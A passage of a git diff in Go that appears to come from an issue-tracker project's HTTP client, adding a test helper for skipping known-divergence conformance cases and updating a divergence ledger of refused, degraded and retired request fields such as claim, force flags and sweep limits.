ledger-row citation", pos, parkHelperName) + return true + } + lit, ok := call.Args[1].(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + // A citation the gate cannot read statically defeats the whole + // invariant: the row a park names has to be a fact this test can + // resolve, not one computed at runtime. + t.Errorf("%s: %s cites a non-literal ledger row (%T); the citation must be a string literal so it can be bound to a live row", + pos, parkHelperName, call.Args[1]) + return true + } + row, err := strconv.Unquote(lit.Value) + if err != nil { + t.Errorf("%s: cannot read ledger-row citation %s: %v", pos, lit.Value, err) + return true + } + cites = append(cites, parkCitation{row: row, pos: pos}) + return true + }) + } + return cites +} diff --git a/internal/httpclient/divergence_test.go b/internal/httpclient/divergence_test.go new file mode 100644 index 000000000..a3d625f44 --- /dev/null +++ b/internal/httpclient/divergence_test.go @@ -0,0 +1,35 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/divergence_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import "testing" + +// skipKnownDivergence parks one conformance case on the backend that cannot +// express what the leaf contract asserts. +// +// It takes BOTH coordinates a park has, because they answer different +// questions and neither implies the other: +// +// - row is the divergence-ledger id (encode/ledger.go). It says WHAT the wire +// cannot carry and is the join back to the reason, the design decision and +// the pin. It used to be spelled inside the reason prose, in parentheses, +// which made it unfindable by anything but a reader. +// - beadID names the bead that records the shape and owns its retirement. It +// says WHO unparks the case, which is a different fact from why it is +// parked: several rows retire with one bead, and one row can outlive the +// bead that found it. +// +// The literal "KNOWN DIVERGENCE" prefix is how `grep -r "KNOWN DIVERGENCE"` +// finds every parked case in the tree. Parking at the WIRING site rather than +// inside the shared Run function is what keeps the case honest elsewhere: it +// still runs, and still passes, on every backend that agrees. +// +// THIS FILE CARRIES NO BUILD TAG, and that is deliberate. Every call site today +// is cgo-tagged, because the served composition needs the embedded engine — but +// a helper declared behind the tag is a helper the no-cgo build cannot see, so +// the first untagged park would not compile. An unused function costs nothing; +// a declaration that has to move the day someone needs it costs a merge. +func skipKnownDivergence(t *testing.T, row, beadID, reason string) { + t.Helper() + t.Skipf("KNOWN DIVERGENCE %s (%s): %s", row, beadID, reason) +} diff --git a/internal/httpclient/encode/bijection_test.go b/internal/httpclient/encode/bijection_test.go index ee6389fd9..680a2b229 100644 --- a/internal/httpclient/encode/bijection_test.go +++ b/internal/httpclient/encode/bijection_test.go @@ -85,7 +85,8 @@ func TestEncoderTableClassifiesEveryRequestField(t *testing.T) { if !classified[name] { t.Errorf("%s.%s is populatable and UNCLASSIFIED.\n"+ "Add it to the %s table with a disposition, or refuse it with a divergence-ledger row.\n"+ - "An unclassified field is a filter this client would drop silently — see engdocs/design/http-client-backend.md D7 and D9 L12.", + "An unclassified field is a filter this client would drop silently — see L12 in the in-repo "+ + "divergence ledger, engdocs/design/http-divergence-ledger.md.", table.Source.Name(), name, tableName(table)) } } diff --git a/internal/httpclient/encode/encode.go b/internal/httpclient/encode/encode.go index 60fceeacf..43d61f55d 100644 --- a/internal/httpclient/encode/encode.go +++ b/internal/httpclient/encode/encode.go @@ -21,9 +21,11 @@ // stays hand-written is the value rendering, which is exactly what the // round-trip gate drives through the server's own decoder. // -// See engdocs/design/http-client-backend.md — D7 (the refusal taxonomy), D8 -// (the role dispositions and the refuse-not-drop enumeration), D9 (the -// divergence ledger), D11 (id resolution) and D12 (MaxRows). +// The refusal taxonomy, the role dispositions and refuse-not-drop +// enumeration, id resolution and MaxRows all trace back to the original +// (bd-enterprise-internal) design's decision log; the divergence ledger +// itself (D9 there) is reproduced in-repo at +// engdocs/design/http-divergence-ledger.md, generated from ledger.go below. package encode import ( diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index 23644ae43..a4729311c 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -13,11 +13,13 @@ import ( // The divergence ledger, v1. // -// engdocs/design/http-client-backend.md D9 states the discipline this file -// instantiates: "Every knowingly-degraded behavior is a ledger row with a -// pinned test... A degradation not in this table is a bug." The prose table -// lives in the design; this is the machine-readable copy the client actually -// consults, and it carries three populations rather than one: +// The original (bd-enterprise-internal) design's decision log, D9, states the +// discipline this file instantiates: "Every knowingly-degraded behavior is a +// ledger row with a pinned test... A degradation not in this table is a +// bug." That design doc is not included in this repository; this is the +// machine-readable copy the client actually consults, rendered to +// engdocs/design/http-divergence-ledger.md (see ledger_render.go), and it +// carries three populations rather than one: // // - The D9 rows themselves (L1-L18, with L17 deleted rather than skipped — // see the L-sequence note in designRows), which describe whole behaviors rather @@ -110,7 +112,10 @@ type Row struct { // Why is the reason the wire cannot carry it, or the reason the // degradation is the right answer. Why string - // SpecRow cites the decision in engdocs/design/http-client-backend.md. + // SpecRow cites the decision in the original design's decision log (D-rows + // and D9 L-row numbers; the log itself is not in this repository — a D9 + // L-row resolves in-repo to the same L-row in + // engdocs/design/http-divergence-ledger.md, generated from this file). SpecRow string // PinnedBy names the test that holds this row honest, or carries a // TODO() when the pinning test is another bead's deliverable. It is @@ -143,7 +148,7 @@ type Row struct { // TestEncoderHonorsEveryTableDisposition, // TestEncodedParametersRoundTripThroughTheServerDecoder, and friends); this // sentinel covers only the rows whose evidence is a layer S2 never touches. -const pinnedByS3Conformance = "TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline" +const pinnedByS3Conformance = "TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline" // Ledger returns divergence ledger v1, in citation order. // @@ -207,6 +212,10 @@ var ( tyCreateDep = reflect.TypeOf(issueops.CreateDependency{}) tyApplyCreateItem = reflect.TypeOf(issueops.CreateItem{}) + tyApplyDepAddItem = reflect.TypeOf(issueops.DepAddItem{}) + + tyCloseBatchRequest = reflect.TypeOf(issueops.CloseBatchRequest{}) + tySweepRequest = reflect.TypeOf(issueops.SweepRequest{}) ) // designRows are D9's own table, transcribed. They describe behaviors rather @@ -218,22 +227,22 @@ func designRows() []Row { // auto-load (L5), auto-import (L6), the ready view's parent-epic map (L13) — // whose observable behavior is a cmd/bd invocation's, not a store call's. // They are the subprocess parity tier's, and that tier is the one this wiring - // did not build. ga-b8ddd.12 (per-request project-id enforcement) closed the - // read-display ESCALATION — every read now carries the stamp, so a drifted - // server refuses it rather than rendering another project's rows — but the - // remaining fixture corpus that would PIN these pre-run displays is its - // follow-up, ga-b8ddd.23, which owns them. + // did not build. A since-closed per-request project-id enforcement follow-up + // closed the read-display ESCALATION — every read now carries the stamp, so a + // drifted server refuses it rather than rendering another project's rows — + // but the remaining fixture corpus that would PIN these pre-run displays is + // a separate, still-open follow-up that owns them. // // L17 (the conditional dep-remove guard) used to be the one remaining TODO row // that was NOT subprocess-owned. It carried no row of its own once its - // condition resolved: the dual run ga-b8ddd.30 wrote + // condition resolved: a dual run // (TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim) showed the wire // surfaces unresolved depends_on_id rows VERBATIM, so the guard does not // degrade and there was nothing to ledger. It is DELETED rather than retired, // because a retirement records a divergence that once existed and this one // never did. L1 is the retirement beside it — a row that WAS live and is kept // as KindRetired for exactly that reason. - const pinnedElsewhere = "TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it" + const pinnedElsewhere = "TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it" return []Row{ { // IT WAS DELETED OUTRIGHT for a while, against this file's own @@ -466,6 +475,15 @@ func designRows() []Row { // refuse, and the refusal never dials. PinnedBy: pinnedByS3Conformance, }, + { + ID: "L-cycles-tracks", Kind: KindRefuse, + Type: reflect.TypeOf(issueops.DetectCyclesRequest{}), Field: "IncludeTracks", + What: "issueops.CycleDetector.DetectCycles refuses a request with IncludeTracks set, rather than silently answering the narrower (tracks-excluded) walk", + Why: "listDependencyCycles (wire.OpListDependencyCycles) publishes no include_tracks parameter at all — there is no wire member to widen the walk onto, not merely one this client chose not to send. Honoring the request field anyway (by just not sending it, the way a dropped filter would) would answer the DEFAULT walk to a caller who explicitly asked for the wider one that also follows `tracks` edges: a narrower answer with no error, exactly the failure mode ErrUnsupported exists to make loud instead of silent (see its own doc). " + + "Upstream ask: an include_tracks query parameter on listDependencyCycles, which retires this row", + SpecRow: "D8 (refuse-not-drop), D9 L16 (the same argument, on a read)", + PinnedBy: pinnedByS3Conformance, + }, { ID: "L-batchcreate-target", Kind: KindDegrade, What: "a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound", @@ -482,7 +500,7 @@ func designRows() []Row { PinnedBy: pinnedByS3Conformance, }, // L17 (the conditional GH#5005 dep-remove guard) is DELETED, not present as a - // row: ga-b8ddd.30's dual run proved the wire surfaces unresolved + // row: a dual run proved the wire surfaces unresolved // depends_on_id rows verbatim (see pinnedElsewhere above), so the // degradation it was contingent on never materialized. The L-sequence skips // from L16 to L18 for that reason. @@ -521,12 +539,12 @@ func writeSideRows() []Row { const pinned = pinnedByS3Conformance return []Row{ { - ID: "W-UpdateRequest.Claim", Kind: KindRefuse, + ID: "W-UpdateRequest.Claim", Kind: KindRetired, Type: tyUpdateRequest, Field: "Claim", - What: "a claim combined with any other UpdateRequest member refuses; a claim ALONE does not — it dials claimIssue directly (see httpLifecycle.claimOnlyUpdate)", - Why: "a claim is claimIssue's own operation and updateIssue cannot perform one, on this wire or on any other; it is the one row here that upstream #5484 did not touch. " + - "claimIssue's own request is the actor alone, so a claim-only UpdateRequest IS that request and is served through the Claimer role instead of refusing — that is gc's exclusive claim path, `bd update --claim --json`. " + - "What still refuses is PATCH claim: a claim folded into one atomic transaction WITH a patch, a guard or a force override, which no operation on this wire publishes and which is not synthesized as two calls (claimIssue then updateIssue), since that would let a caller observe an issue claimed but not yet patched. Upstream gastownhall/beads#6890 tracks the capability that would carry both in one call", + What: "a claim combined with a patch, a guard or a force override used to refuse", + Why: "RETIRED by the #7247 review port. The refusal stood on 'updateIssue cannot perform a claim, on this wire or on any other' — and upstream gastownhall/beads#6890, the capability the row itself named, had already published `claim` on updateIssue: the claim and the patch applied by the same role in one transaction, so PATCH claim was the server's shape and only this client's refusal. " + + "The body now sends `claim` as a pointer set true only on request, so a claim alone, a claim with a patch and a claim with a version guard are each ONE updateIssue call, answered with the post-write `revision` like every other update. " + + "The claimIssue route survives as the fallback for a claim ALONE against a server that predates the member, which refuses it as an unknown parameter before any database work; a combination against such a server returns that skew refusal rather than splitting into two calls", SpecRow: updateSpec, PinnedBy: pinned, }, @@ -537,49 +555,55 @@ func writeSideRows() []Row { // http workspace — so this is user-facing prose, not an internal // engineering note, and it should read that way. // - // The engineering rationale, for a future reader of this file: the v0 - // wire's claimIssue operation (issueops.Claimer's own contract) - // answers a wisp id with ErrNotFound on every backend, including the - // direct route's own claim-by-id — the wisp plane is not claimable - // through that role at all. But claimOnlyUpdate's caller is - // `bd update --claim`, whose Lifecycle.Update DOES claim wisps - // locally (issue-or-wisp routing). Over http, that command is served - // through claimIssue rather than through updateIssue's general - // wisp-aware routing, so a wisp id would otherwise surface the wire's - // generic not-found — a live row reported as though it does not - // exist, indistinguishable from an id naming nothing at all, which a - // not-found-sensitive caller (gc's Claim among them) would read as - // missing rather than as an unclaimable wisp. This refuses by name - // instead, once the client itself recognizes the id names a wisp — - // which it learns only AFTER claimIssue itself answers not_found (see - // claimOnlyUpdate), so an ordinary claim of a real, non-wisp issue - // never pays this probe. Serving a wisp-aware claim (a server-side - // ClaimWisp capability) is tracked as a pending decision, not - // implemented here. + // The engineering rationale, for a future reader of this file: a + // current server claims a wisp through updateIssue, which resolves + // both planes exactly as the direct route's Lifecycle.Update does, so + // this row is reached ONLY on claimOnlyUpdate's fallback — a server + // that predates `claim` on updateIssue (upstream #6890), where the + // claim is dialed as claimIssue instead. That operation + // (issueops.Claimer's own contract) answers a wisp id with ErrNotFound + // on every backend — the wisp plane is not claimable through that + // role at all — so a wisp id would otherwise surface the wire's + // generic not-found: a live row reported as though it does not + // exist, which a not-found-sensitive caller (gc's Claim among them) + // would read as missing rather than as an unclaimable wisp. This + // refuses by name instead, once the client itself recognizes the id + // names a wisp — which it learns only AFTER claimIssue answers + // not_found, so an ordinary claim of a real, non-wisp issue never + // pays the probe. ID: "W-ClaimRequest.Wisp", Kind: KindRefuse, - What: "claiming a wisp is not supported over http", - Why: "the v0 wire's claim operation excludes the wisp plane on every backend; claim this issue from a local workspace instead", + What: "claiming a wisp is not supported by this bd serve", + Why: "the server predates claiming through its update operation, and its separate claim operation excludes the wisp plane; upgrade bd serve, or claim this issue from a local workspace", SpecRow: updateSpec, PinnedBy: pinnedByS3Conformance, }, { - ID: "W-UpdateRequest.ForceAssigneeTransfer", Kind: KindRefuse, Flag: "--force", + ID: "W-UpdateRequest.ForceAssigneeTransfer", Kind: KindRetired, Flag: "--force", Type: tyUpdateRequest, Field: "ForceAssigneeTransfer", - What: "bypassing the anti-steal assignee fence refuses", - Why: "the wire publishes `force_assignee_transfer` (upstream #5484) and this client does not send it. What the refusal STANDS ON changed with client wave ga-7i6by and the row is narrower for it: the `assignee` the fence guards IS now sent (W-IssuePatch.Assignee), so what is left is the bypass alone. " + - "The fence itself is unbypassable rather than absent — a transfer away from a live foreign in-progress owner refuses with already_claimed, and a matched `expected_assignee` is the OTHER bypass, which this client does send. Carrying this one is a two-member port tracked as ga-2ltro.15", + What: "bypassing the anti-steal assignee fence used to refuse", + Why: "RETIRED by the #7247 review port, the two-member port ga-2ltro.15 named. The wire publishes `force_assignee_transfer` (upstream #5484) and the refusal was always this client's: client wave ga-7i6by had already narrowed it to the bypass alone by sending the `assignee` the fence guards, and issues:batchApply's update item already carried the same flag. " + + "The body now sends it as a pointer set true only on request. The fence itself is unchanged — a transfer away from a live foreign in-progress owner refuses with already_claimed unless one of the two bypasses rides with it, this one or a matched `expected_assignee` — and the server refuses the bypass without a `patch.assignee` or beside `expected_assignee` or `claim`", SpecRow: updateSpec, PinnedBy: pinned, }, { - ID: "W-UpdateRequest.ForceClosePolicy", Kind: KindRefuse, Flag: "--force", + ID: "W-UpdateRequest.ForceClosePolicy", Kind: KindRetired, Flag: "--force", Type: tyUpdateRequest, Field: "ForceClosePolicy", - What: "bypassing close policy on a status-crossing update refuses", - Why: "the wire publishes `force_close_policy` (upstream #5484) and this client does not send it; see W-UpdateRequest.ForceAssigneeTransfer for what the refusal now stands on, since client wave ga-7i6by sends the `status` whose crossing the policy gates. " + - "The policy is therefore enforced and not bypassable here: a status crossing into the done category with open children or a live blocker refuses with not_closable, typed, and writes nothing. Tracked as ga-2ltro.15", + What: "bypassing close policy on a status-crossing update used to refuse", + Why: "RETIRED with W-UpdateRequest.ForceAssigneeTransfer, the other half of ga-2ltro.15's port. The wire publishes `force_close_policy` (upstream #5484), client wave ga-7i6by sends the `status` whose crossing the policy gates, and issues:batchApply's update item already carried the flag. " + + "The body now sends it as a pointer set true only on request; unforced, a status crossing into the done category with open children or a live blocker still refuses with not_closable, typed, and writes nothing", SpecRow: updateSpec, PinnedBy: pinned, }, + { + ID: "W-UpdateRequest.ForceNotesOverwrite", Kind: KindRetired, + Type: tyUpdateRequest, Field: "ForceNotesOverwrite", + What: "bypassing the notes-overwrite fence on a single update used to refuse", + Why: "RETIRED by the S3 reconciliation that found it (2026-10). It was discovered refused on the single-patch updateIssue path while the identical flag was already carried on issues:batchApply's update item (W table entry applyBatch/item/update) — the same trio member, wired on one shape and not the other with no decision on record for the gap. " + + "Flipping it was a port, not a decision, same as W-UpdateRequest.ExpectedVersion's: the body now sends `force_notes_overwrite` as a pointer set true only on request, so a Patch.Notes that would replace existing non-empty notes with different non-empty content is bypassable here exactly as it already was on the batch path", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, { ID: "W-UpdateRequest.ExpectedVersion", Kind: KindRetired, What: "the compare-and-set row-version precondition used to refuse", @@ -671,7 +695,7 @@ func writeSideRows() []Row { ID: "W-IssuePatch.Assignee", Kind: KindRetired, What: "assignment and unassignment through update used to refuse", Why: "RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. " + - "The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are W-UpdateRequest.ForceAssigneeTransfer and the guard wave's own", + "The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are both sent — the first since W-UpdateRequest.ForceAssigneeTransfer retired, the second since the guard wave", SpecRow: "D8 refuse-not-drop", PinnedBy: patchMemberPin, }, @@ -725,7 +749,8 @@ func writeSideRows() []Row { What: "an item whose Issue populates any member outside the wire's eight refuses, naming the member", Why: "apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. " + "ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. " + - "The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too", + "The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too. " + + "Nor is a CreatedBy that names the request's actor: the server stamps every item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses", SpecRow: "D8 row 14 refuse-not-drop", PinnedBy: batchCreatePin, }, @@ -744,9 +769,10 @@ func writeSideRows() []Row { { ID: "W-CreateRequest.IDPrefix", Kind: KindRefuse, Type: tyCreateRequest, Field: "IDPrefix", - What: "overriding the prefix an explicit id is checked against refuses", + What: "overriding the prefix an explicit, unforced id is checked against refuses", Why: "createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. " + - "Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'", + "Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'. " + + "It refuses only where it would ACT: the role reads the override for nothing but an explicit id it was not told to force, so a create that mints its id, or sets ForceIDPrefix, is the same request with or without it and is sent without it. That matters because `bd create` sends the workspace's prefix on EVERY create, so an unconditional refusal would refuse every create in a workspace whose config.yaml names one", SpecRow: "D8 row 16 refuse-not-drop", PinnedBy: createPin, }, @@ -754,9 +780,10 @@ func writeSideRows() []Row { ID: "W-CreateRequest.Issue", Kind: KindRefuse, Type: tyCreateRequest, Field: "Issue", What: "a create whose Issue populates any member outside the wire's twenty refuses, naming the member", - Why: "createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation stamp (created_at, created_by), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. " + + Why: "createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation time (created_at), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. " + "ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. " + - "Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence", + "Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence. " + + "created_by is published on no create shape either, but every one of them STAMPS it from the request's actor (internal/httpapi's create.go, batch_create.go and batch_apply.go) — the local front doors' own rule, since the role copies the member rather than stamping it. So a CreatedBy that names the actor, which is what every CLI create sends, arrives as written, and only one naming someone else refuses: the stamp would silently replace it. A server that predates the stamp stores an empty created_by for that one member", SpecRow: "D8 row 16 refuse-not-drop", PinnedBy: createPin, }, @@ -765,7 +792,7 @@ func writeSideRows() []Row { What: "a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target", Why: "the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. " + "The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. " + - "A missing --parent target already retired out of this row: failCreateIssue's errors.As(&parentNotFound) arm answers it with a distinguishing 404 not_found that names the target, and the client maps that to issueops.ErrNotFound (see TestServedCreateRefusesAnAbsentParentAsNotFound) — the row now covers only dependency and waits-for targets", + "A missing --parent target stays on this row beside dependency and waits-for targets, not ahead of them: OpCreateIssue's problem-code table documents NO 404 for ANY edge target on purpose (internal/httpapi/problem.go) — there is no id in the path for parent_id to have missed any more than dependencies[i].target_id or waits_for.spawner_id has, so carving a parent-only not_found out of this row would contradict that design rather than follow it. A prior draft of this row and its pin (TestServedCreateRefusesAnAbsentParentAsNotFound) described that carve-out as already shipped; it never was, and the S3 review that found the drift retired the draft rather than the design", SpecRow: "D8 row 16", PinnedBy: pinnedByS3Conformance, }, @@ -780,17 +807,19 @@ func writeSideRows() []Row { // The issues:batchApply population, from client wave ga-mijra. It is // SMALL, and that is the operation rather than an oversight: the create // item publishes createIssue's whole twenty, the close item maps whole, - // the edge item maps whole, and the update item's patch is WIDER than - // updateIssue's in the two places that matter to a plan (a full label - // patch, and `owner`). What is left is one patch member and two facts - // about the RESULT. + // the edge item maps whole but for the spawner flag and the thread the + // role gained after the wire was written, and the update item's patch + // is WIDER than updateIssue's in the two places that matter to a plan (a + // full label patch, and `owner`). What is left is one patch member, those + // two edge members and two facts about the RESULT. { ID: "W-CreateItem.Issue", Kind: KindRefuse, Type: tyApplyCreateItem, Field: "Issue", What: "a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member", Why: "ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. " + "It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. " + - "Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all", + "Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all. " + + "Nor is a CreatedBy that names the request's actor: the server stamps every create item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses", SpecRow: "D8 refuse-not-drop", PinnedBy: applyPin, }, @@ -804,6 +833,24 @@ func writeSideRows() []Row { SpecRow: "D8 refuse-not-drop", PinnedBy: applyPin, }, + { + ID: "W-DepAddItem.HasSpawner", Kind: KindRefuse, + Type: tyApplyDepAddItem, Field: "HasSpawner", + What: "a waits-for edge ITEM that names its spawner refuses", + Why: "ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. " + + "Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row", + SpecRow: "D8 refuse-not-drop", + PinnedBy: applyPin, + }, + { + ID: "W-DepAddItem.ThreadID", Kind: KindRefuse, + Type: tyApplyDepAddItem, Field: "ThreadID", + What: "associating an edge ITEM with a discussion thread refuses", + Why: "ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. " + + "It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different", + SpecRow: "D8 refuse-not-drop", + PinnedBy: applyPin, + }, { ID: "L-apply-snapshot", Kind: KindDegrade, What: "every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot", @@ -918,6 +965,53 @@ func writeSideRows() []Row { SpecRow: "D8 (Journal), D9", PinnedBy: pinnedByS3Conformance, }, + { + // S3 reconciliation (2026-10): bd-enterprise's + // batchCloseIssues composed an atomic claim-after-close onto the + // same request; OSS's apigen.BatchCloseRequest and + // BatchCloseResponse publish no claim_next/claimed_next member at + // all, so there is no shape for this field to narrow INTO. A batch + // close without a folded claim is unaffected and stays served + // (BatchCloseIssues.go); this row is the ONE field that refuses. + ID: "W-CloseBatchRequest.ClaimNext", Kind: KindRefuse, + Type: tyCloseBatchRequest, Field: "ClaimNext", + What: "folding an atomic claim-after-close onto a batch close refuses", + Why: "batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + }, + { + // S3 reconciliation (2026-10): bd-enterprise's + // sweepIssues wire carried a structural-dependent protection + // alongside the referenced-citation one; OSS's apigen.SweepRequest + // publishes protect_referenced only. There is no + // protect_live_dependents member for this field to narrow onto, so + // sending `true` and having the client silently drop it would run + // an UNPROTECTED sweep while the caller believed the structural + // guard was active — the exact widening refuse-not-drop exists to + // stop, on the one operation this surface uses to delete rows. + ID: "W-SweepRequest.ProtectLiveDependents", Kind: KindRefuse, + Type: tySweepRequest, Field: "ProtectLiveDependents", + What: "protecting live structural dependents during a sweep refuses", + Why: "sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + }, + { + // Limit's absence is the same gap on the OTHER half of the request: + // bd-enterprise's wire bounded one sweep call and reported the + // remainder back; OSS's apigen.SweepRequest and SweepResult carry + // neither a limit member to send nor a remaining member to read one + // back from. A dropped Limit would run the UNBOUNDED sweep the + // caller asked to cap, in one transaction, which is the same + // widening the protection row above refuses rather than degrades. + ID: "W-SweepRequest.Limit", Kind: KindRefuse, + Type: tySweepRequest, Field: "Limit", + What: "bounding one sweep call and draining a backlog over several refuses", + Why: "sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + }, } } @@ -990,11 +1084,11 @@ func commandRows() []Row { row("F-ready-explain", "ready", "--explain", "`bd ready --explain` refuses", "it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist"), row("F-ready-mol", "ready", "--mol", "`bd ready --mol` refuses", - "its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker when ga-b8ddd.30 flipped them onto the wire"), + "its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker once they flipped onto the wire"), row("F-ready-gated", "ready", "--gated", "`bd ready --gated` refuses", "it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents"), row("F-show-thread", "show", "--thread", "`bd show --thread` refuses", - "showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but ga-b8ddd.30 flipped that read onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back 